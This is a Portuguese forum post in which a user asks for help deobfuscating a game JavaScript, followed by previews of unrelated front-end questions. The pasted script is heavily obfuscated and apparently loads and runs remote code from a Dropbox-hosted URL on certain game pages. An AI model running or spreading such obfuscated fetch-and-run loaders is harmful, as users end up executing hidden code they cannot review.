Ir para conteúdo

POWERED BY:

diogorocha18

Desofuscar Javascript Para Jogo

Recommended Posts

Boa tarde,

 

Venho hoje pedir ajuda ajuda a desofuscar este script que queria usar para um jogo mas queria fazer algumas alterações.. conseguem me ajudar? 

 

 

Aguardo a ajuda

 

Cumprimentos

 

function _0xaf33(){const _0x5a6975=['WOHWW78','W5hdQxu','W5W6WQG','nZKy','aSoliSoPqqnRkrb/','WR7cQCk1','B8ovFa','WRL0CG','q8oCqq','WQddN2q','wNZcSa','WO56W78','WPVcL8ob','WRVdG8kS','W5xdUhi','WQddH8kd','W67cLq4','WP3dGCk+','WOxdQdW','ymkydW','p8k8WOu','WQhcUSoC','WQNdJ24','vgCC','WR/dSqFdM8kOW5pcNCk2CdFcImoetW','ax3dTG','l0aI','W4a2WRO','oSoAkq','neuC','vHjwCIjrWOHTWO/cTG','kgfj','W44gW6blW4ddISo7iCkRW4NcKe/dTW','b0xdMa','W4tdK8kh','aMVdRq','wCo3F8kEW4OvoCkEWP8','WO7cRxe','WRddOSkg','t0JcNq','g1FcHG','Aura','W73dGmkwzmkshqLsW5/cRSo4WRyE','W7NcQ0u','i2Tf','s8kxCq','EeWl','EcT3','WQ3dL8kJ','W6GMWQm','W5JdPLS','xctcUW','W6JcUmkh','WOrYW7W','bKVcLW','vrrzD30lWOvvWOhcI3W2','W5iNW6a','WRJdKCkJ','WP3dUSkT','WPjeWQ0','WOxdPmkU','eXldNa','WQFdO8kC','W6pcGu0','W6xcPLi','AuRcPa','Cmk9pa','jSoHWOq','e1tcTa','W6fJlW','pSkvFa','q2Lx','rxyh','imoIWRG','WQVcPCo1','W60MWQS','WQBcSSor','W7WIn8kUWPi6u8oUW6FcK8koW7O','ishdTq','w3mw','WRFdGdi','B0ah','W7ZcHIW','hepcNq','nZ0X','W6BdIN4','WObuwa','oSokvG','m8ogka','iXyE','WQddJGm','WQpdNaW','WQvBpX3cO8oeWR4xW6DP','d0lcNq','wfeN','rgua','AhiA','WPJdT8o4','W6z4h8ocudnLWQz7W5uiya','WQBcVCkO','sCklyW','ECo+vW','i8kZfaHCW7FcNCkJWOG','ASkQWPa','c0xcNq','W6Wymq','o8oyoa','WOtcQ8k2','W4NdQ8kQ','WRrNW65YW7FdNftcO8o8aadcSq','u0JcKq','W5y7WPG','mx7cHSkUW6NcLqNcVG','vgKF','W6dcVvu','rwuD','WQG5sW','W4hdRLm','eSoqmG','WOSuWRq','fZKx','cMBdRG','W67dLSkI','kSkaW5i','WR7cHCo6','WRCbwq','oSkKrW','W4zeWRu','W48MWRW','eJrc','xCo/cW','x3ig','dKm/','W6dcKw0','W7RcGgC','bxFdRG','W604WR8','W6bRW6S','wGZdRa','WQ09wa','WPpdO8kg','W7JdUCoX','WO0Qwa','W7BdPmk/','f0VcGG','cXNcIW','EmosWOrxECkhgMSqamkdua','W7lcJfpdTSoRCmosWPTFFSoBW6q','evBcMW','fMddSG','bJddUW','fe4K','lw5w','W6vjW70pW54OovxcTSoKW5lcV8ou','hJJcNW','h8kImG','zcLU','W6dcNxi','sXZcTq','d0dcGq','umozuW','W7/dV8kY','imoqWRK','FCoaW74','jmk4g1OGWRxcVmkHWQCHWQFcOG','WRldNWS','g8k9iq','deNcVa','W5i/WQC','WPDBWRO','jSo7FG','W4xdSmo8','W6a5WRG','hmkrW6q','WPJcQmkw','BmkJW6hdTeBcQSklbHuG','WPZdSSkg','l8o4WQK'];_0xaf33=function(){return _0x5a6975;};return _0xaf33();}(function(_0xcfb2d7,_0x76ca37){const _0x192e81=_0x2f7a,_0x7c07fc=_0x2f7a,_0x5dbb04=_0xcfb2d7();while(!![]){try{const _0x19da5a=-parseInt(_0x192e81(0x1ad,'5yjv'))/(0x1154*0x1+0xb6*-0x7+-0xc59)+-parseInt(_0x7c07fc(0x209,'%iGT'))/(-0xfb5+-0x1366+-0x59*-0x65)+parseInt(_0x192e81(0x1dc,'DH7M'))/(0x1609*0x1+-0x73f*0x1+-0x3*0x4ed)*(parseInt(_0x192e81(0x22c,'9UAg'))/(-0x3*-0x966+0x3*0x13+-0x1c67*0x1))+-parseInt(_0x192e81(0x1d8,'d@Fb'))/(-0x1037+-0x1ec9+0x2f05*0x1)*(parseInt(_0x7c07fc(0x1e6,'G#N6'))/(0x75+0x351+-0x3c0))+-parseInt(_0x192e81(0x248,'%UfP'))/(-0x291*0x7+-0x5e9*0x1+0x17e7)+-parseInt(_0x7c07fc(0x20f,'w*uG'))/(-0x2660+-0x2e*0x2b+-0x2*-0x1711)+-parseInt(_0x192e81(0x21a,'DH7M'))/(-0x9*0x1b+0x1*-0x20f9+0x1*0x21f5)*(-parseInt(_0x192e81(0x225,'zCd#'))/(-0xb76+0x2*-0x130d+0x319a));if(_0x19da5a===_0x76ca37)break;else _0x5dbb04['push'](_0x5dbb04['shift']());}catch(_0x515f37){_0x5dbb04['push'](_0x5dbb04['shift']());}}}(_0xaf33,-0x2*0xada0+0x6c454+0x43fda));let _0x3fee26=window;function _0x2f7a(_0x26277e,_0x3a55dc){const _0x3e986a=_0xaf33();return _0x2f7a=function(_0x23bfe8,_0x2204ef){_0x23bfe8=_0x23bfe8-(-0x74d+0xe6f+-0x1d9*0x3);let _0xddba6f=_0x3e986a[_0x23bfe8];if(_0x2f7a['wIprGk']===undefined){var _0x4034f8=function(_0x5a661d){const _0x538c5f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x3b464b='',_0x459a33='',_0x30dc51=_0x3b464b+_0x4034f8;for(let _0x2655c0=0x16*-0x2+0x3*0xbff+0xad*-0x35,_0x9ea18e,_0x2c9356,_0x5386c6=-0x2*0xec2+-0x1c43+0x7*0x841;_0x2c9356=_0x5a661d['charAt'](_0x5386c6++);~_0x2c9356&&(_0x9ea18e=_0x2655c0%(-0x53c+0x1*-0x1e28+0x2368)?_0x9ea18e*(-0x2112+0x2f0+-0x1e62*-0x1)+_0x2c9356:_0x2c9356,_0x2655c0++%(0x1e63*0x1+-0x1*-0x60d+-0x246c))?_0x3b464b+=_0x30dc51['charCodeAt'](_0x5386c6+(-0x1*-0x2204+0x33*0xc4+-0x4906))-(0x12cb+-0x294+-0x102d)!==0x1baf+0xd69+0x28*-0x107?String['fromCharCode'](0x1b2+-0x1e8f+0xc4*0x27&_0x9ea18e>>(-(0x28b*0x1+-0x5*-0x196+-0x2f*0x39)*_0x2655c0&-0x18d1+-0x1de6+0x36bd)):_0x2655c0:0x18e6*0x1+-0xd*-0x5d+0x1*-0x1d9f){_0x2c9356=_0x538c5f['indexOf'](_0x2c9356);}for(let _0x53a43f=-0x22*0xb4+-0x2*-0x10be+-0x994,_0x10763c=_0x3b464b['length'];_0x53a43f<_0x10763c;_0x53a43f++){_0x459a33+='%'+('00'+_0x3b464b['charCodeAt'](_0x53a43f)['toString'](-0xb*0x1+-0x5a1*-0x2+0x23b*-0x5))['slice'](-(-0x1*-0x2446+-0x1993*-0x1+-0x3dd7));}return decodeURIComponent(_0x459a33);};const _0x3429ee=function(_0x12db0d,_0x5a29e4){let _0x4ad58e=[],_0x4f1042=0x1c54+0xbbd+-0x2811,_0x1e11fa,_0x3558b9='';_0x12db0d=_0x4034f8(_0x12db0d);let _0x2ec2c7;for(_0x2ec2c7=-0x226f*0x1+-0x1707+0x3976;_0x2ec2c7<0x3aa+-0xf49+0xc9f;_0x2ec2c7++){_0x4ad58e[_0x2ec2c7]=_0x2ec2c7;}for(_0x2ec2c7=0x482+-0x22d5+0x1e53;_0x2ec2c7<-0x1698+-0x1*-0x2e+0x176a;_0x2ec2c7++){_0x4f1042=(_0x4f1042+_0x4ad58e[_0x2ec2c7]+_0x5a29e4['charCodeAt'](_0x2ec2c7%_0x5a29e4['length']))%(-0x12bd+-0x1*0x589+-0x287*-0xa),_0x1e11fa=_0x4ad58e[_0x2ec2c7],_0x4ad58e[_0x2ec2c7]=_0x4ad58e[_0x4f1042],_0x4ad58e[_0x4f1042]=_0x1e11fa;}_0x2ec2c7=-0x2371+-0x1e3d*-0x1+0x534,_0x4f1042=0xd6e*0x2+-0xfaa+0x599*-0x2;for(let _0x198429=-0x893*-0x2+0x2*0xb41+-0x27a8;_0x198429<_0x12db0d['length'];_0x198429++){_0x2ec2c7=(_0x2ec2c7+(0x1981+-0x4*-0xa6+-0x1c18))%(0x1646+-0x23e7+0x2ed*0x5),_0x4f1042=(_0x4f1042+_0x4ad58e[_0x2ec2c7])%(0x1f21+0x3*0x167+-0x2256),_0x1e11fa=_0x4ad58e[_0x2ec2c7],_0x4ad58e[_0x2ec2c7]=_0x4ad58e[_0x4f1042],_0x4ad58e[_0x4f1042]=_0x1e11fa,_0x3558b9+=String['fromCharCode'](_0x12db0d['charCodeAt'](_0x198429)^_0x4ad58e[(_0x4ad58e[_0x2ec2c7]+_0x4ad58e[_0x4f1042])%(0xb79+-0x1638+0x1*0xbbf)]);}return _0x3558b9;};_0x2f7a['uNgnnY']=_0x3429ee,_0x26277e=arguments,_0x2f7a['wIprGk']=!![];}const _0x2e36dc=_0x3e986a[0x1aa3+-0xf85+0x1*-0xb1e],_0x171a15=_0x23bfe8+_0x2e36dc,_0x4c0cfc=_0x26277e[_0x171a15];if(!_0x4c0cfc){if(_0x2f7a['UrtMKx']===undefined){const _0x278497=function(_0x1179db){this['outvAN']=_0x1179db,this['bdEgCV']=[0x6*0x2e3+0xab1+-0x1c02,0x11da*-0x2+0x1329+0x1*0x108b,0x4dd*0x1+-0x1ed3+0xcfb*0x2],this['eQbOHX']=function(){return'newState';},this['jpLgCT']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['KiGGWJ']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x278497['prototype']['xHydLS']=function(){const _0xa3e142=new RegExp(this['jpLgCT']+this['KiGGWJ']),_0x2de048=_0xa3e142['test'](this['eQbOHX']['toString']())?--this['bdEgCV'][-0x13d9+0x80a+0xbd0]:--this['bdEgCV'][0x17fe+-0x1*0x22ca+-0x4*-0x2b3];return this['LMnhcT'](_0x2de048);},_0x278497['prototype']['LMnhcT']=function(_0x3a66b7){if(!Boolean(~_0x3a66b7))return _0x3a66b7;return this['eZfDrY'](this['outvAN']);},_0x278497['prototype']['eZfDrY']=function(_0x5b75c6){for(let _0x238c2b=0xd17+-0x24b8+-0x17a1*-0x1,_0x338a94=this['bdEgCV']['length'];_0x238c2b<_0x338a94;_0x238c2b++){this['bdEgCV']['push'](Math['round'](Math['random']())),_0x338a94=this['bdEgCV']['length'];}return _0x5b75c6(this['bdEgCV'][0x3*0x953+0x1af7+-0x928*0x6]);},new _0x278497(_0x2f7a)['xHydLS'](),_0x2f7a['UrtMKx']=!![];}_0xddba6f=_0x2f7a['uNgnnY'](_0xddba6f,_0x2204ef),_0x26277e[_0x171a15]=_0xddba6f;}else _0xddba6f=_0x4c0cfc;return _0xddba6f;},_0x2f7a(_0x26277e,_0x3a55dc);}_0x522dfd();function _0x522dfd(){const _0xab3d9=_0x2f7a,_0x22e69c=_0x2f7a,_0x3ce4ad={'IhGBl':'scr'+'een'+_0xab3d9(0x1aa,'yoQ8')+'mo','Plsuy':_0xab3d9(0x1a7,'smwT')+'zH','ZmCoL':_0xab3d9(0x237,'IRD&')+'CB','DRVib':'Nge'+'SH','lutIA':'fca'+'dk','rJGrI':_0xab3d9(0x1f6,'rbyu')+'io','vwUzf':'Dcx'+'Hz','ERpHg':_0xab3d9(0x200,'N9ip')+'.+)'+_0x22e69c(0x243,'BLY6')+_0xab3d9(0x1ec,'9UAg'),'zTbna':_0xab3d9(0x215,'GRyy')+'wq','GkSmy':function(_0x3a4012,_0x449cdb,_0x5b4a4c){return _0x3a4012(_0x449cdb,_0x5b4a4c);},'NDXNh':function(_0x1cd12d){return _0x1cd12d();}},_0x2c5100=(function(){const _0x54f9ad=_0xab3d9,_0x28b0bd=_0xab3d9,_0x3cd357={};_0x3cd357[_0x54f9ad(0x1eb,'j*Ke')+'cb']=_0x3ce4ad['IhG'+'Bl'],_0x3cd357[_0x28b0bd(0x1b0,'vpUF')+'zF']=_0x54f9ad(0x226,'IRD&')+_0x28b0bd(0x1df,'BvoN')+_0x54f9ad(0x238,'%iGT')+_0x54f9ad(0x23c,'WO0c')+_0x54f9ad(0x227,'zCd#')+_0x28b0bd(0x1e2,'&q#L')+_0x54f9ad(0x1b9,'WO0c')+'rco'+'nte'+'nt.'+_0x54f9ad(0x1e7,'f9O^')+_0x54f9ad(0x1bb,'p7j9')+_0x28b0bd(0x23f,'f9O^')+_0x54f9ad(0x1d3,'GRyy')+_0x54f9ad(0x1ae,'BLY6')+'vpa'+_0x28b0bd(0x1d7,'vpUF')+_0x54f9ad(0x1cd,'DH7M')+_0x28b0bd(0x1bd,'f9O^')+'20C'+'omm'+_0x28b0bd(0x1ce,'j2YU')+_0x28b0bd(0x1c6,'y&MJ')+_0x54f9ad(0x234,'ErhB')+_0x54f9ad(0x1c9,'GRyy')+_0x28b0bd(0x1b8,'4*%5')+_0x54f9ad(0x1a8,'B9#e')+_0x54f9ad(0x207,'GRyy')+_0x28b0bd(0x247,'50uB'),_0x3cd357[_0x54f9ad(0x1ca,'50uB')+'YM']=_0x3ce4ad[_0x54f9ad(0x22a,'rbyu')+'uy'],_0x3cd357[_0x28b0bd(0x198,'&q#L')+'PF']=_0x3ce4ad[_0x54f9ad(0x1e5,'rbyu')+'oL'],_0x3cd357[_0x54f9ad(0x1be,'f9O^')+'SE']=_0x3ce4ad[_0x54f9ad(0x23a,'%iGT')+'ib'],_0x3cd357[_0x54f9ad(0x1d6,'#iAA')+'Ll']=_0x3ce4ad[_0x54f9ad(0x1db,'DH7M')+'IA'];const _0x594ebd=_0x3cd357;if(_0x3ce4ad[_0x28b0bd(0x197,'o8I]')+'rI']!==_0x3ce4ad[_0x54f9ad(0x1f2,'ErhB')+'zf']){let _0x18ea0a=!![];return function(_0x220aff,_0x4dd75b){const _0x500663=_0x54f9ad,_0x230736=_0x54f9ad,_0xea7e53={};_0xea7e53['plg'+'AF']=_0x594ebd[_0x500663(0x21e,'smwT')+'zF'],_0xea7e53['cjC'+'xU']=function(_0x456361,_0x177549){return _0x456361===_0x177549;},_0xea7e53[_0x230736(0x1d1,'%iGT')+'Sb']=_0x594ebd['saH'+'YM'],_0xea7e53['gJg'+'uF']=_0x500663(0x1fa,'5yjv')+'DY',_0xea7e53[_0x500663(0x20d,'5yjv')+'zm']=_0x594ebd[_0x500663(0x1d4,'f9O^')+'PF'];const _0x481d7e=_0xea7e53;if(_0x594ebd[_0x230736(0x1da,'9UAg')+'SE']===_0x594ebd[_0x230736(0x1bf,'yq%c')+'Ll'])(_0x2c24e7['loc'+_0x230736(0x1d0,'%iGT')+'on'][_0x500663(0x244,'j2YU')+'f']['inc'+_0x230736(0x1e8,'B9#e')+'es'](_0x594ebd[_0x230736(0x1b5,'y&MJ')+'cb'])||_0x533c50[_0x500663(0x21f,'%UfP')+_0x500663(0x1af,'Mdyy')+'on'][_0x500663(0x244,'j2YU')+'f'][_0x230736(0x19b,'OUQ0')+'lud'+'es'](_0x500663(0x1d5,'f9O^')+_0x230736(0x231,'mZ6T')+_0x230736(0x1f5,'%UfP')+'ace'))&&(_0x395e3a['l']=!![],_0x54bf1f[_0x500663(0x1ef,'tsck')+'Scr'+_0x230736(0x1b1,'%UfP')](_0x500663(0x1fd,'tsck')+'ps:'+_0x230736(0x1e1,'&q#L')+'l.d'+_0x230736(0x213,'y&MJ')+'box'+'use'+_0x500663(0x1e9,'f9O^')+'nte'+_0x230736(0x1c8,'y&MJ')+_0x230736(0x20b,'o8I]')+_0x500663(0x219,'yq%c')+_0x230736(0x1f1,'T#vL')+_0x500663(0x22f,'p7j9')+_0x500663(0x1dd,'WO0c')+_0x500663(0x1ea,'d@Fb')+_0x500663(0x19f,'#iAA')+_0x230736(0x1ed,'smwT')+_0x230736(0x22d,'^r1V')+_0x230736(0x1f8,'1CSZ')+_0x500663(0x1ab,'BLY6')+_0x500663(0x1fe,'rbyu')+_0x500663(0x1f7,'f9O^')+_0x500663(0x1ee,'50uB')+'der'+'%20'+_0x230736(0x22e,'9UAg')+'s?d'+_0x230736(0x1bc,'j2YU')));else{const _0x76958f=_0x18ea0a?function(){const _0x13a9fc=_0x500663,_0x3f38c0=_0x500663;if(_0x481d7e['cjC'+'xU'](_0x481d7e[_0x13a9fc(0x235,'Mdyy')+'Sb'],_0x13a9fc(0x242,'5yjv')+'eC'))_0x27f4a3['l']=!![],_0x5e2b01['get'+_0x13a9fc(0x204,'d@Fb')+_0x13a9fc(0x20a,'GRyy')](_0x481d7e[_0x13a9fc(0x1a3,'9UAg')+'AF']);else{if(_0x4dd75b){if(_0x481d7e[_0x13a9fc(0x1cf,'50uB')+'uF']!==_0x481d7e[_0x13a9fc(0x1d9,'yoQ8')+'zm']){const _0x49b23e=_0x4dd75b['app'+'ly'](_0x220aff,arguments);return _0x4dd75b=null,_0x49b23e;}else{if(_0x17f3b0){const _0x3b1edf=_0x48d8b3[_0x3f38c0(0x1ba,'N9ip')+'ly'](_0x2f9efe,arguments);return _0x5a5842=null,_0x3b1edf;}}}}}:function(){};return _0x18ea0a=![],_0x76958f;}};}else{const _0x25cbda=_0x5b9516?function(){if(_0x2fc72e){const _0xde61e4=_0x295150['app'+'ly'](_0x173cf1,arguments);return _0x5c5390=null,_0xde61e4;}}:function(){};return _0x51a7c6=![],_0x25cbda;}}()),_0x12f750=_0x3ce4ad['GkS'+'my'](_0x2c5100,this,function(){const _0x4a39e=_0x22e69c,_0x325802=_0xab3d9;return'wfn'+'wq'!==_0x3ce4ad['zTb'+'na']?_0x18f5d6['toS'+_0x4a39e(0x241,'o8I]')+'ng']()[_0x4a39e(0x21b,'%iGT')+'rch'](ygrRLD[_0x325802(0x216,'DH7M')+'Hg'])[_0x325802(0x1ac,'N9ip')+_0x325802(0x1a6,'Mdyy')+'ng']()[_0x4a39e(0x228,'BLY6')+_0x325802(0x201,'d@Fb')+_0x325802(0x1a1,'B9#e')+'or'](_0x47587a)[_0x325802(0x22b,'50uB')+'rch'](_0x4a39e(0x1b3,'T^iQ')+'.+)'+'+)+'+_0x4a39e(0x1a9,'o8I]')):_0x12f750['toS'+_0x4a39e(0x21c,'1CSZ')+'ng']()['sea'+_0x325802(0x218,'yq%c')](_0x3ce4ad[_0x4a39e(0x1f0,'&q#L')+'Hg'])[_0x4a39e(0x21d,'GRyy')+_0x4a39e(0x19d,'T^iQ')+'ng']()['con'+_0x4a39e(0x220,'4*%5')+_0x4a39e(0x1c7,'#iAA')+'or'](_0x12f750)[_0x325802(0x19e,'FrLM')+_0x4a39e(0x210,'E]xi')](_0x3ce4ad['ERp'+'Hg']);});_0x12f750(),_0x3ce4ad[_0xab3d9(0x1cc,'p7j9')+'Nh'](_0x270f13);}function _0x270f13(){const _0x2b1ceb=_0x2f7a,_0x414c10=_0x2f7a,_0x5d655a={};_0x5d655a[_0x2b1ceb(0x1cb,'j*Ke')+'NR']=_0x414c10(0x1de,'GRyy')+_0x2b1ceb(0x236,'j*Ke')+'=me'+'mo',_0x5d655a[_0x2b1ceb(0x1f3,'d@Fb')+'sI']='scr'+_0x414c10(0x233,'BLY6')+'=pl'+_0x2b1ceb(0x1c0,'^r1V'),_0x5d655a['gkp'+'Cs']=_0x414c10(0x223,'T#vL')+'gd',_0x5d655a[_0x2b1ceb(0x212,'u@dC')+'LZ']=_0x414c10(0x1b7,'T^iQ')+'Xq',_0x5d655a[_0x2b1ceb(0x239,'IRD&')+'wt']=_0x2b1ceb(0x1f9,'f9O^')+'ps:'+_0x414c10(0x1f4,'DH7M')+_0x414c10(0x224,'IRD&')+'rop'+_0x2b1ceb(0x1a4,'#iAA')+'use'+_0x2b1ceb(0x1fb,'y&MJ')+_0x2b1ceb(0x1b2,'vpUF')+_0x2b1ceb(0x221,'&q#L')+'com'+_0x2b1ceb(0x232,'o8I]')+'can'+_0x2b1ceb(0x199,'o8I]')+_0x414c10(0x214,'N9ip')+'vpa'+_0x414c10(0x1c2,'yoQ8')+_0x414c10(0x205,'Mdyy')+'to%'+_0x2b1ceb(0x23b,'j2YU')+_0x2b1ceb(0x206,'GRyy')+'and'+'%20'+_0x2b1ceb(0x1b4,'IRD&')+_0x2b1ceb(0x203,'V5bN')+'%20'+_0x414c10(0x1c4,'o8I]')+_0x414c10(0x20c,'o8I]')+_0x2b1ceb(0x1ff,'rbyu');const _0x2795ef=_0x5d655a;if(window[_0x414c10(0x1a5,'u@dC')+_0x2b1ceb(0x217,'V$9e')+'on'][_0x2b1ceb(0x1e4,'T^iQ')+'f'][_0x414c10(0x20e,'3#HD')+_0x2b1ceb(0x23e,'mZ6T')+'es'](_0x2795ef[_0x2b1ceb(0x230,'DH7M')+'NR'])||window[_0x414c10(0x222,'rbyu')+_0x414c10(0x229,'j*Ke')+'on'][_0x2b1ceb(0x1fc,'y&MJ')+'f'][_0x2b1ceb(0x1b6,'B9#e')+_0x2b1ceb(0x1c5,'f9O^')+'es'](_0x2795ef[_0x414c10(0x23d,'ErhB')+'sI'])){if(_0x2795ef[_0x414c10(0x1a2,'3#HD')+'Cs']!==_0x2795ef[_0x2b1ceb(0x211,'1CSZ')+'LZ'])_0x3fee26['l']=!![],$[_0x2b1ceb(0x202,'IRD&')+_0x2b1ceb(0x245,'5yjv')+_0x2b1ceb(0x1e0,'j2YU')](_0x2795ef[_0x414c10(0x19c,'Mdyy')+'wt']);else{const _0x4c52c7=_0x165d48[_0x414c10(0x1c1,'rbyu')+'ly'](_0xcb3190,arguments);return _0xaad6c=null,_0x4c52c7;}}}

 

Compartilhar este post


Link para o post
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário

Criar uma conta

Crie uma nova conta em nossa comunidade. É fácil!

Crie uma nova conta

Entrar

Já tem uma conta? Faça o login.

Entrar Agora

  • Conteúdo Similar

    • Por luiz monteiro
      Olá.
      Estou atualizando meu conhecimento com Front-End e me deparei com o seguinte problema.
      Criei um sistema para fazer o upload de imagens e alguns campos text.
      Algo bem simples para depois começar a estudar javascript para mostrar a miniatura....
      Mas quando saio do navegador Chrome ou da aba por mais de 3 minutos, ao retornar o navegador as vezes atualiza ou nem chega atualizar mas limpa os campos.
      Estou usando um Smart Motorola com Android, mas um amigo testou no iPhone e acontece a mesma coisa.
      Gostaria de saber se há como usar javascript para evitar isso?
      Agradeço desde já.

      <!DOCTYPE html>
      <html>
      <head>
          <meta charset="utf-8">
          <meta name="viewport" content="width=device-width, initial-scale=1">
          <title>Uploader</title>
      </head>
      <body>
          <form action="?" method="post" enctype="multipart/form-data">
              <br><br>
              <div>selecione a imagem 1</div>
              <input type="file" name="foto1" accept="image/*">
              <br><br>
              <input type="text" name="nome_imagem1">
              
              <br><br>
              <input type="file" name="foto2" accept="image/*">
              <br><br>
              <input type="text" name="nome_imagem2">
              
              <br><br>

              <input type="file" name="foto3" accept="image/*">
              <br><br>
              <input type="text" name="nome_imagem3">
              
              <br><br>
              <input type="submit" value="Enviar">
              <br><br>
          </form>
      <?php
      if ($_SERVER['REQUEST_METHOD'] == 'POST')
      {
          vardump ($_FILES);
      }
      ?>
      </body>
      </html>
       
       
       
    • Por belann
      Olá!
       
      Estou usando o nextjs versão 15.2.3 e criei uma navbar que quando é carregado o programa aparece com a home, mas na hora de clicar na página produtos desaparece a navbar.
      A navbar esta sendo chamada no layout.tsx estou usando typescript
      e fica dessa forma
      <div>           <Navbar/>             <main>{children}</main>             </div>  
    • Por violin101
      Caros amigos, saudações.

      Estou com uma dúvida, referente cálculo de valores em tempo real.

      Tenho uma rotina, que faz o cálculo, o problema é mostrar o resultado.

      Quero mostrar o RESULTADO assim: 0,00  ou  0.00

      Abaixo posto o código.
      jQuery('input').on('keyup',function(){ //Remover ponto e trocar a virgula por ponto var m = document.getElementById("pgRest").value; while (m.indexOf(".") >= 0) { m = m.replace(".", ""); } m = m.replace(",","."); //Remover ponto e trocar a virgula por ponto var j = document.getElementById("pgDsct").value; while (j.indexOf(".") >= 0) { j = j.replace(".", ""); } j = j.replace(",","."); m = parseFloat(jQuery('#pgRest').val() != '' ? jQuery('#pgRest').val() : 0); j = parseFloat(jQuery('#pgDsct').val() != '' ? jQuery('#pgDsct').val() : 0); //Mostra o Resultado em Tempo Real jQuery('#pgTroco').val(m - j); <<=== aqui estou errando })  
       
      Grato,
       
      Cesar
       
       
    • Por violin101
      Caro amigos, saudações.

      Tenho uma tabela escrita em JS que funciona corretamente.
       
      Minha dúvida:
      - como devo fazer para quando a Tabela HTML estiver vazia, exibir o LOGO da Empresa ?

      Abaixo posto o script:
      document.addEventListener( 'keydown', evt => { if (!evt.ctrlKey || evt.key !== 'i' ) return;// Não é Ctrl+A, portanto interrompemos o script evt.preventDefault(); //Chama a Função Calcular Qtde X Valor Venda calcvda(); var idProdutos = document.getElementById("idProdutos").value; var descricao = document.getElementById("descricao").value; var prd_unid = document.getElementById("prd_unid").value; var estoque_atual = document.getElementById("estoque_atual").value; var qtde = document.getElementById("qtde").value; var vlrunit = document.getElementById("vlrunit").value; var vlrtotals = document.getElementById("vlrtotal").value; var vlrtotal = vlrtotals.toLocaleString('pt-br', {minimumFractionDigits: 2}); if(validarConsumo(estoque_atual)){ //Chama a Modal com Alerta. $("#modal_qtdemaior").modal(); } else { if(qtde == "" || vlrunit == "" || vlrtotal == ""){ //Chama a Modal com Alerta. $("#modal_quantidade").modal(); } else { //Monta a Tabela com os Itens html = "<tr style='font-size:13px;'>"; html += "<td width='10%' height='10' style='text-align:center;'>"+ "<input type='hidden' name='id_prds[]' value='"+idProdutos+"'>"+idProdutos+"</td>"; html += "<td width='47%' height='10'>"+ "<input type='hidden' name='descricao[]' value='"+descricao+"'>"+descricao+ "<input type='hidden' name='esp[]' value='"+prd_unid+"'> - ESP:"+prd_unid+ "<input type='hidden' name='estoq[]' value='"+estoque_atual+"'></td>"; html += "<td width='10%' height='10' style='text-align:center;'>"+ "<input type='hidden' name='qtde[]' value='"+qtde+"'>"+qtde+"</td>"; html += "<td width='12%' height='10' style='text-align:right;'>"+ "<input type='hidden' name='vlrunit[]' value='"+vlrunit+"'>"+vlrunit+"</td>"; html += "<td width='14%' height='10' style='text-align:right;'>"+ "<input type='hidden' name='vlrtotal[]' value='"+vlrtotal+"'>"+vlrtotal+"</td>"; html += "<td width='12%' height='10' style='text-align:center;'>"+ "<button type='button' class='btn btn-uvas btn-remove-produto' style='margin-right:1%; padding:1px 3px; font-size:12px;' title='Remover Item da Lista'>"+ "<span class='fa fa-minus' style='font-size:12px;'></span></button></td>"; html += "</tr>"; $("#tbventas tbody").append(html); //Função para Somar os Itens do Lançamento somar(); $("#idProdutos").val(null); $("#descricao").val(null); $("#prd_unid").val(null); $("#qtde").val(null); $("#vlrunit").val(null); $("#vlrtotal").val(null); $("#idProdutos").focus(); //Se INCLUIR NOVO produto - Limpa a Forma de Pagamento $("#pgSoma").val(null); $("#pgRest").val(null); $("#pgDsct").val(null); $("#pgTroco").val(null); $("#tbpagar tbody").empty(); }//Fim do IF-qtde }//Fim do Validar Consumo });//Fim da Função btn-agregar  
      Grato,

      Cesar
       
    • Por violin101
      Caros amigos, saudações.

      Estou com uma pequena dúvida se é possível ser realizado.

      Preciso passar 2 IDs para o Sistema executar a função, estou utilizando desta forma e gostaria de saber como faço via JS para passar os parâmetro que preciso.

      Observação:
      Dentro da TABELA utilizei 2 Forms, para passar os IDS que preciso, funcionou conforme código abaixo.
      <div class="card-body"> <table id="tab_clie" class="table table-bordered table-hover"> <thead> <tr> <th style="text-align:center; width:10%;">Pedido Nº</th> <th style="text-align:center; width:10%;">Data Pedido</th> <th style="text-align:center; width:32%;">Fornecedor</th> <th style="text-align:center; width:10%;">Status</th> <th style="text-align:center; width:5%;">Ação</th> </tr> </thead> <tbody> <?php foreach ($results as $r) { $dta_ped = date(('d/m/Y'), strtotime($r->dataPedido)); switch ($r->pd_status) { case '1': $status = '&nbsp;&nbsp;Aberto&nbsp;&nbsp;'; $txt = '#FFFFFF'; //Cor: Branco $cor = '#000000'; //Cor: Preta break; case '2': $status = 'Atendido Total'; $txt = '#FFFFFF'; //Cor: Branco $cor = '#086108'; //Cor: Verde break; case '3': $status = 'Atendido Parcial'; $txt = '#000000'; //Cor: Branco $cor = '#FEA118'; //Cor: Amarelo break; default: $status = 'Cancelado'; $txt = '#FFFFFF'; //Cor: Branco $cor = '#D20101'; //Cor: Vermelho break; } echo '<tr>'; echo '<td width="10%" height="10" style="text-align:center;">'.$r->pd_numero.'</td>'; echo '<td width="10%" height="10" style="text-align:center;">'.$dta_ped.'</td>'; echo '<td width="32%" height="10" style="text-align:left;">'.$r->nome.'</td>'; echo '<td width="10%" height="10" style="text-align:left;"><span class="badge" style="color:'.$txt.'; background-color:'.$cor.'; border-color:'.$cor.'">'.$status.'</span></td>'; echo '<td width="5%" style="text-align:center;">'; ?> <div class="row"> <?php if($this->permission->checkPermission($this->session->userdata('permissao'), 'vPedido')){ ?> <form action="<?= base_url() ?>compras/pedidos/visualizar" method="POST" > <input type="hidden" name="idPedido" value="<?php echo $r->idPedidos; ?>"> <input type="hidden" name="nrPedido" value="<?php echo $r->pd_numero; ?>"> <button class="btn btn-warning" title="Visualizar" style="margin-left:50%; padding: 1px 3px;"><i class="fa fa-search icon-white"></i></button> </form> <?php } if($this->permission->checkPermission($this->session->userdata('permissao'), 'ePedido')){ ?> <form action="<?= base_url() ?>compras/pedidos/editar" method="POST" > <input type="hidden" name="idPedido" value="<?php echo $r->idPedidos; ?>"> <input type="hidden" name="nrPedido" value="<?php echo $r->pd_numero; ?>"> <button class="btn btn-primary" title="Editar" style="margin-left:50%; padding: 1px 3px;"><i class="fa 